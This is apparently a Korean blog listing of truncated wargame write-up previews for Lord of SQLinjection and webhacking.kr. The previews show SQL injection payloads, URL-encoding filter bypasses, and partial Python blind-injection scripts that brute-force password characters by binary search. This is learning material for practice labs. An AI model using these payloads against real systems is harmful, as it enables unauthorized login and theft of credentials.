[LOS] Lord of SQLinjection 7번
·
Play/wargame
- ()필터링 - 그냥 참고로 말하자면 ()는 %28 %29 - URL에 && 입력하니 씹힘 > %26 - URL에 #입력하니 무시당하길래 %23사용 ?pw='||id='admin'%26%26length(pw)=1%23 pw길이 맞추기. 1부터 8까지 시도 length(pw)=8 이제 코드를 짜보자. import requests url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php" cookie = {"PHPSESSID": "세션"} def pw_find(): length = 8 pw = "" for i in range(length): start_num = 1 end_num = 127 value = 64 while True..
webhacking.kr 6번 - base64
·
Play/wargame
webhacking.kr 6번 문제풀이 - 코드를 보면 쿠키에 저장된 id와 pw를 20번씩 base64통해 인코딩 - 그리고 그 결과에 대해 특정 특수문자를 특정 숫자로 리플레이스 - 디코딩은 리플레이스 후 20번 디코딩 - 문제 해결하기 위해선 id=admin, pw=nimda php 인코딩부분 기반으로 코드 작성 import base64 id = "admin".encode() pw = "nimda".encode() for i in range(20): id = base64.b64encode(id) pw = base64.b64encode(pw) print("id: ", id) print("pw: ", pw) 처음에 for문 안에 있는 id/pw 변수명 다른거로 해서 ㅋ인코딩 한번되더라 멍청한 나...
(webhacking.kr 2번) 해도 해도 헷갈리는 Blind SQLInjection
·
Play/wargame
webhacking.kr 2번 문제를 다시 풀어보며 복습하자. 알아야 하는 것: admin 패스워드 아는 것: 주석 내 시간정보 1) 현재 DB의 table 수 알아내기 #1 DB명 길이: (select length(database())) 결과: 6 #2 DB명 알아내기 노가다 하다가 귀찮아서 코드짰다. 일전에 LOS 풀며 배운 이진탐색 알고리즘 이용했던거.. 활용함. def db_find(): length = 6 db = "" for i in range(length): start_num = 1 end_num = 127 value = 64 while True: cookie = { "PHPSESSID": "세션", "time": "ord(substring(database(),{},1))={}".format..
[LOS] Lord of SQLinjection 1~4 문풀 정리
·
Play/wargame
LOS 링크: https://los.eagle-jump.org/ URL ENCODING 표 : http://urin79.com/blog/7424512 1) URL Encoding :: # (%23) 2) id='admin' or 1=1%23 했는데 안됨. 이유: 당연함. 1=1 하면 전체 데이터 조회이다. 그럼 제일 위에 있는 계정으로 로그인됨. 그러므로 admin 타겟팅 해주어야 한다. id='admin' or id='admin'%23 3) URL Encoding :: ' (%27) 4) admin 문자열 우회 (preg_match 우회) %61%64%6D%69%6E : admin char(97,100,109,105,110): 'admin' concat('a', 'd', 'm', 'i', 'n’): '..